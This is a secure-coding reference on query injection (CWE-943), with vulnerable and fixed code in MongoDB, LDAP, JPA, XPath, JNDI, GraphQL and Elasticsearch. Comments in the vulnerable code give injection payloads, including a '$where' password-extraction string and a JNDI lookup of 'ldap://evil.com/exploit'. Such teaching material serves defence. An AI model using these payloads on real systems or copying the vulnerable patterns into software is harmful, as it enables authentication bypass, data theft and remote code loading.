Improper Neutralization of Special Elements in Data Query Logic

Description

Improper Neutralization of Special Elements in Data Query Logic occurs when a product generates a query intended to access or manipulate data in a data store, but does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query. While this weakness is most commonly associated with SQL injection (CWE-89), it encompasses many other query languages including NoSQL (MongoDB, CouchDB), LDAP, XPath, XQuery, HTSQL, ORM query builders, and GraphQL. Any data store that uses a query language with special elements that can alter query logic is potentially vulnerable.

Risk

Query injection vulnerabilities remain among the most exploited weaknesses. CVE-2025-36185 in IBM Db2 (versions 12.1.0-12.1.2) allows local users to craft queries that cause denial of service. CVE-2025-42884 in SAP NetWeaver Enterprise Portal allows unauthenticated attackers to inject malicious JNDI environment properties, manipulating lookup operations. NoSQL injection is increasingly common as applications adopt document databases. GraphQL injection can expose entire schemas and bypass access controls. These vulnerabilities can lead to data exposure, data manipulation, authentication bypass, and in some cases remote code execution.

Solution

Use parameterized queries or prepared statements for all data store interactions. Never concatenate user input into query strings. Use ORM frameworks with parameterized query builders. Validate and sanitize all input before use in queries. Implement least privilege database permissions. Use allowlists for any user-controlled query operators (like MongoDB's $where). For GraphQL, implement query complexity limits and depth restrictions. Disable dangerous query features when not needed. Log and monitor for query injection attempts.

Common Consequences

ImpactDetails
ConfidentialityScope: Data Disclosure

Attackers can extract sensitive data by injecting queries that return unauthorized records.
IntegrityScope: Data Manipulation

Injection can modify or delete data in the data store.
AuthenticationScope: Authentication Bypass

Injected queries can bypass login mechanisms and access control checks.

Example Code + Solution Code

Vulnerable Code

# VULNERABLE: NoSQL injection in MongoDB
from pymongo import MongoClient

@app.route('/login', methods=['POST'])
def login():
    username = request.json['username']
    password = request.json['password']

    # Attacker sends: {"username": {"$gt": ""}, "password": {"$gt": ""}}
    # This matches any user!
    user = db.users.find_one({
        'username': username,
        'password': password
    })

    if user:
        return 'Login successful'
    return 'Invalid credentials'

# VULNERABLE: LDAP injection
import ldap

def authenticate_ldap(username, password):
    # Attacker sends username: admin)(|(password=*
    # Creates: (&(user=admin)(|(password=*)(password=anything))
    ldap_filter = f"(&(user={username})(password={password}))"
    result = ldap_conn.search_s(base_dn, ldap.SCOPE_SUBTREE, ldap_filter)
    return len(result) > 0
// VULNERABLE: JPA query with string concatenation
@Repository
public class UserRepository {

    public List<User> findByUsername(String username) {
        // Attacker sends: admin' OR '1'='1
        String query = "SELECT u FROM User u WHERE u.username = '" + username + "'";
        return entityManager.createQuery(query, User.class).getResultList();
    }
}

// VULNERABLE: XPath injection
public String getUser(String username) throws Exception {
    // Attacker sends: ' or '1'='1
    String xpath = "//users/user[name='" + username + "']";
    XPath xPath = XPathFactory.newInstance().newXPath();
    return xPath.evaluate(xpath, document);
}

// VULNERABLE: JNDI injection
public Object lookupResource(String name) throws NamingException {
    // Attacker sends: ldap://evil.com/exploit
    return new InitialContext().lookup(name);
}
// VULNERABLE: MongoDB injection through operator
app.post('/search', (req, res) => {
    const filter = req.body;
    // Attacker sends: {"$where": "this.password.match(/^a.*/i)"}
    // Can extract passwords character by character!
    db.collection('users').find(filter).toArray()
        .then(users => res.json(users));
});

// VULNERABLE: GraphQL injection / introspection abuse
const schema = buildSchema(`
    type Query {
        user(id: ID!): User
        users(filter: String): [User]  // Direct filter string - dangerous!
    }
`);

// Attacker can query: { users(filter: "1=1") { password } }
// Or use introspection to discover schema

// VULNERABLE: Elasticsearch query injection
app.get('/search', async (req, res) => {
    const query = req.query.q;
    // Attacker can inject Elasticsearch query DSL
    const result = await client.search({
        index: 'products',
        body: {
            query: {
                query_string: {
                    query: query  // Unvalidated query string
                }
            }
        }
    });
    res.json(result);
});

Fixed Code

# SAFE: Parameterized MongoDB queries
from pymongo import MongoClient
import bcrypt

@app.route('/login', methods=['POST'])
def login_safe():
    username = request.json.get('username')
    password = request.json.get('password')

    # Validate input types
    if not isinstance(username, str) or not isinstance(password, str):
        return 'Invalid input', 400

    # Ensure query operators are not in input
    if any(key.startswith('$') for key in [username, password] if isinstance(key, str)):
        return 'Invalid characters in input', 400

    # Find user by username only
    user = db.users.find_one({'username': username})

    if user and bcrypt.checkpw(password.encode(), user['password_hash']):
        return 'Login successful'

    return 'Invalid credentials', 401

# SAFE: Parameterized LDAP query
import ldap
from ldap.filter import escape_filter_chars

def authenticate_ldap_safe(username, password):
    # Escape special characters in user input
    safe_username = escape_filter_chars(username)

    # Use escaped value in filter
    ldap_filter = f"(uid={safe_username})"

    result = ldap_conn.search_s(base_dn, ldap.SCOPE_SUBTREE, ldap_filter)

    if result:
        user_dn = result[0][0]
        try:
            # Bind with user credentials to verify password
            ldap_conn.simple_bind_s(user_dn, password)
            return True
        except ldap.INVALID_CREDENTIALS:
            pass

    return False
// SAFE: JPA with parameterized query
@Repository
public class SecureUserRepository {

    public List<User> findByUsername(String username) {
        // Named parameter prevents injection
        String query = "SELECT u FROM User u WHERE u.username = :username";
        return entityManager.createQuery(query, User.class)
            .setParameter("username", username)
            .getResultList();
    }

    // SAFE: Criteria API (type-safe)
    public List<User> findByUsernameCriteria(String username) {
        CriteriaBuilder cb = entityManager.getCriteriaBuilder();
        CriteriaQuery<User> query = cb.createQuery(User.class);
        Root<User> root = query.from(User.class);

        query.select(root).where(cb.equal(root.get("username"), username));

        return entityManager.createQuery(query).getResultList();
    }
}

// SAFE: XPath with parameterized query
public String getUserSafe(String username) throws Exception {
    // Use XPath variable resolver instead of string concatenation
    XPath xPath = XPathFactory.newInstance().newXPath();

    xPath.setXPathVariableResolver(variableName -> {
        if ("username".equals(variableName.getLocalPart())) {
            return username;
        }
        return null;
    });

    // $username is resolved safely
    return xPath.evaluate("//users/user[name=$username]", document);
}

// SAFE: JNDI with resource name validation
public Object lookupResourceSafe(String name) throws NamingException {
    // Allowlist of permitted resource names
    Set<String> allowedResources = Set.of("jdbc/mydb", "jms/queue");

    if (!allowedResources.contains(name)) {
        throw new SecurityException("Resource not in allowlist: " + name);
    }

    // Also validate no protocol schemes
    if (name.contains("://")) {
        throw new SecurityException("Protocol schemes not allowed");
    }

    return new InitialContext().lookup("java:comp/env/" + name);
}
// SAFE: MongoDB with validated queries
app.post('/search', async (req, res) => {
    const { name, category } = req.body;

    // Build query safely - only allow expected fields
    const query = {};

    if (name && typeof name === 'string') {
        // Use regex safely with escaped input
        query.name = { $regex: escapeRegex(name), $options: 'i' };
    }

    if (category && typeof category === 'string') {
        query.category = category;  // Exact match
    }

    // Explicitly disallow query operators from user input
    for (const key of Object.keys(req.body)) {
        if (key.startsWith('$')) {
            return res.status(400).json({ error: 'Invalid query parameter' });
        }
    }

    const users = await db.collection('users')
        .find(query)
        .project({ password: 0 })  // Never return passwords
        .limit(100)
        .toArray();

    res.json(users);
});

function escapeRegex(string) {
    return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}

// SAFE: GraphQL with validation and complexity limiting
const { graphqlHTTP } = require('express-graphql');
const depthLimit = require('graphql-depth-limit');
const { createComplexityLimitRule } = require('graphql-validation-complexity');

app.use('/graphql', graphqlHTTP({
    schema: schema,
    validationRules: [
        depthLimit(5),  // Limit query depth
        createComplexityLimitRule(1000),  // Limit complexity
    ],
    graphiql: process.env.NODE_ENV !== 'production',  // Disable in prod
}));

// SAFE: Elasticsearch with sanitized queries
app.get('/search', async (req, res) => {
    const query = req.query.q;

    // Escape Elasticsearch special characters
    const sanitized = query.replace(/[+\-=&|><!(){}[\]^"~*?:\\/]/g, '\\$&');

    const result = await client.search({
        index: 'products',
        body: {
            query: {
                simple_query_string: {
                    query: sanitized,
                    fields: ['name', 'description'],
                    default_operator: 'and'
                }
            }
        }
    });

    res.json(result);
});

Exploited in the Wild

IBM Db2 Query Injection DoS (IBM, 2025)

CVE-2025-36185 in IBM Db2 12.1.0-12.1.2 allows local users to craft specially formed queries that the database engine fails to properly sanitize, leading to denial of service conditions.

SAP NetWeaver JNDI Injection (SAP, 2025)

CVE-2025-42884 in SAP NetWeaver Enterprise Portal (EP-BASIS/EP-RUNTIME 7.50) allows unauthenticated attackers to inject malicious JNDI environment properties, manipulating JNDI lookup operations (CVSS 6.5).

MongoDB NoSQL Injection Attacks (Multiple, Ongoing)

Multiple applications have been compromised through NoSQL injection, where attackers bypass authentication using query operators like $gt, $ne, and $where to manipulate query logic.


Tools to test/exploit

  • NoSQLMap — automated NoSQL injection tool.

  • sqlmap — SQL injection testing (also supports some NoSQL).

  • GraphQL Voyager — GraphQL schema visualization.


CVE Examples


References

  1. MITRE. "CWE-943: Improper Neutralization of Special Elements in Data Query Logic." https://cwe.mitre.org/data/definitions/943.html

  2. OWASP. "NoSQL Injection." https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection